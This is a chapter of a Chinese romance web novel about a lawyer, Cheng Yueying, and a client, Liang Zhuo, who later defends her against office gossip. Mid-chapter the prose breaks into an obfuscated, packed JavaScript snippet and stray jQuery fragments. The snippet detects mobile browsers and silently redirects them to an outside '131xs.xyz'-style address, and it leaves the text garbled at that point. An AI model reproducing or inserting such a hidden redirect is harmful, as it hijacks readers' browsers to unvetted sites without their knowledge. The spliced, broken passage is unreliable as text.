大概是觉得丢脸,梁灼说完这句话后就不再开口,只侧过脸沉默地看向窗外。
路途遥远,行至后半程,程月萤偶然往后一瞥,才发现他竟然睡着了。
梁灼倚在靠背上,微微拧着眉,白日里被掩饰得很好的疲倦泛上来,连入睡都不安稳。
隔着车身,雨声变成朦胧的白噪音,街边路灯的光影流水一样从他的脸上掠过,照亮梁灼熟悉却又有些陌生地轮廓。程月萤这才意识到,重逢后能这样安静地共处一室的时间太少了。
梁灼眼下有很淡的黑眼圈,耳骨上干干净净的。
伤口应该早就愈合了。
程月萤沉默着看了他一会儿,关掉了车窗和导航的声音。
-
梁灼被来电铃声吵醒时,正好到达目的地。
他这一觉睡得沉,醒来时眼神不太聚焦,只看到左侧前方一个微小的光源,一晃一晃地闪到了他的眼睛。
眨了一下眼才发现那是程月萤的耳饰,长长的耳线逶迤在肩头,反射了前方的灯光,正随着她的动作轻晃。
程月萤听到后排的动静,索性放开了声音讲电话,“江律,您放心,已经把梁总安全送到了。嗯,我马上就回家。”
江岑在电话那头不放心地说:“等你到家再给我说一声。”
“好。”挂断电话,视线范围里保安正举着伞朝这辆陌生的车走过来。
程月萤还记得梁灼有起床气,索性没有出声,只是在保安警觉地靠近扫视车内的时候,降下了车窗,把梁灼的脸暴露出来。
“梁先生,”保安吃了一惊,连忙微微欠身,把伞举到了车门旁。
梁灼没起身,程月萤只好提醒道:“梁先生,您到了。”
从后视镜里盯住程月萤,“程小姐,联系方式给我一下。”
“项目邮件里有我的办公电话和邮件地址,您可以通过这些联系我。”
“还欠你两程车费,”梁灼不悦地说:“不是你说的么。”
“……”程月萤有些无奈,“我开玩笑的。”
保安还等在一旁,但是梁灼一直没有起身,僵持半晌,程月萤只好调出了收款码,反手把屏幕朝向后排。
“扫不到,”梁灼靠在座椅上八风不动,很没有还款的诚意,“离近一点。”
程月萤只好转过身,把手机递过去。
梁灼伸手去接,微冷的手指短暂碰到了程月萤手背的皮肤。虽然一触即分,程月萤却反应极大,迅速收回了手。
梁灼动作一顿,没说什么,在屏幕上点了几下,把手机还给她,起身下车。
后视镜里梁灼的背影越来越远。
程月萤沉默地停在原地,屏幕上是一个新通过申请的联系人,被梁灼触碰到的皮肤上好像生了一团看不见的火。
“喂,江律。出差?不用了,谢谢你,我们……没什么的。”
-
第二天上班,程月萤从一进入律所,就感觉四面八方的目光自以为隐晦地朝她望了过来。
大概前一天梁灼在会议结束后突兀叫住她的事情已经传了个遍,这会儿同事们都在私下猜测他们的关系。
连宋星瑶都忍不住发了条微信感慨:你丫不厚道啊,昨天还跟我这儿装不认识。
法律行业跟金融行业相似,背后能撬动的资源的重要程度要多于能力本身。谁都知道梁灼不是普通客户。他们这一行看惯了资本大鳄,但像梁灼这样,身份特殊、风头正盛又极难接近的人,哪怕是顶头合伙人江岑,也不敢随便怠慢。
所以八卦归八卦,也不会有人跳脸打破砂锅问到底,程月萤没有回复,切回了主页面。
梁灼的聊天框里显示“您有一笔转账待接收”,程月萤看了一会儿,只是关掉了手机屏幕,继续处理工作。
午后茶歇,周合霖和宋星瑶去茶水间泡咖啡,转头看到两个实习生正凑在转角的沙发上,一起交头接耳地看向手机屏幕。
“怎么不抓紧时间睡会儿,看什么呢?”她把加过冰的咖啡杯往组里实习生的脸边一放。
“哎呦,好凉。”实习生一躲,手机屏幕上的内容露了出来。
界面上赫然是程月萤的LinkedIn主页。
不同于很多ego爆棚的人把LinkedIn当成交友软件,程月萤的页面干净得近乎冷淡,只有教育经历和实习经历罗列得清清楚楚。
“呃,星瑶姐,没什么。”实习生知道她和程月萤关系好,结结巴巴地解释,“我们只是在看月萤姐的简历,她……她太优秀了。”
“哦,应该的,”周合霖笑眯眯,眼神却很冷,说:“毕竟阿萤做事认真,能力也强,只实习了三个月就拿到了柏汉的returnoffer。你们确实应该向她学习,把心思都放在工作上。”
-
结束一场内部briefing,程月萤从会议室出来,正准备去茶水间冲杯咖啡,迎面撞上宋星瑶和周合霖,两个人的脸色都不太好看。
看到她手里的杯子,周合霖笑着拦了一下,“今天请你们喝咖啡吧,Mstand打折,想喝什么?”
“太阳打西边出来了?”程月萤挑眉,“周老师日子不过了,今天怎么舍得放过免费美式?”
“算了,”她摆摆手,“为了你的房贷着想,我还是投奔咖啡机去了。”
宋星瑶叹了口气,拉住她胳膊,压低声音,“茶水间那边有……几个人在议论你,我们听见了。”
程月萤神色不变:“议论什么?”
“还能是什么……”宋星瑶神色不太好看,“就……说你和梁总的事情,是不是靠私下关系进项目组的。还……还说你背后有人,连江律师都得让你三分。”
程月萤轻轻笑了一下:“他们眼神挺好,能看出江律让我三分,我怎么没看出来。”
“几个实习生在那儿瞎扯,被我和星瑶拦住了,”周合霖皱眉,“但是咱们所你知道的,总有人多嘴,好像是有人挖了你的学籍档,还提了你长辈的事,总之说得很难听。”
空气骤然沉了一瞬。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388192|164630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
程月萤站定了,眼底闪过一点不易察觉的冷色:“他们在哪儿?”
“茶水间,拐角的位置。”
程月萤点点头,没有说话,转身往那边走。
茶水间里几个人正围在一起,捧着杯子,说得兴致正浓。
“她以前根本不是港城的吧?我听说她中学都是在乡下一个小地方念的?怎么就飞上枝头变凤凰了。”
“这你就不知道了吧,她入职的时候我们就八卦过,好像是个什么港商的私生子来着,还牵扯到经济犯罪,不知道怎么就混进Beckett&Hayes了,我们所的bar没有这么低吧,也不怕人笑话。”
“对咯,而且只有本科学历,也就学校在targetschoollist里,更多还是场外因素吧……你懂。”
“还不是那张脸好看。你看她这次,先勾搭梁总,又顺理成章跟着江律师进项目组……这种人最会踩着男人往上爬了。”
“诶我看之前有新闻说她妈不就是当年那个——”
“啪——”
声音猛地一顿。
门不知道什么时候被推开了,金属门框撞到墙面,发出一声脆响。
门口站着梁灼。
他一身剪裁利落的西装,面色冷峻,眉眼藏着不耐和锋利,像是专程赶来清算某笔旧账似的。手里还拿着份项目资料,显然是刚从另一个会议室出来。
几人吓了一跳,脸色一瞬间全变了。
“继续啊,”他语气懒散,眼神却毫不含糊地从每个人脸上扫过,“在说什么,我也想听听”
无人敢应声。
“没事,你们不是说得很有兴致?”梁灼往前一步,把资料往操作台一搁,随手拿了一个纸杯,接了水靠在一旁。
他声音不高不低,却压得人喘不过气来,“我是Lumenis项目的委托方,代表甲方在律所合作期间,对所有参与相关工作的人员享有适当评估权。”
“你们有时间八卦一个正当履职的律师,不如多花点时间熟悉资料。”
梁灼的视线落在说得最起劲的那个年轻男律师身上,对方脸色刷地白了。
“说别人靠脸,你要不要照照镜子,看看自己靠什么。”
梁灼的语气温和得几乎礼貌:“就你这种道德素养,也配留在法律行业里?”
对方立刻慌了神:“梁、梁总,我不是这个意思……我、我只是听别人讲几句,没……”
“我听得很清楚。”梁灼敷衍地抬了抬唇角,眼神却一点笑意也没有,“既然知道那些话不适合当着我的面说,那就不要说。程月萤在这个项目里,靠的是她的业务,不是我。”
空气安静得掉根针都听得见。
梁灼拿起资料转身离开,走到门口时脚步顿了顿,回头朝身后望了一眼。
“还有,搞清楚一点,不是她来勾搭我,是我在追她,没追到。”
他笑了一声,“如果她真的想踩着我往上爬,乐意之至。轮得到你们多嘴多舌。”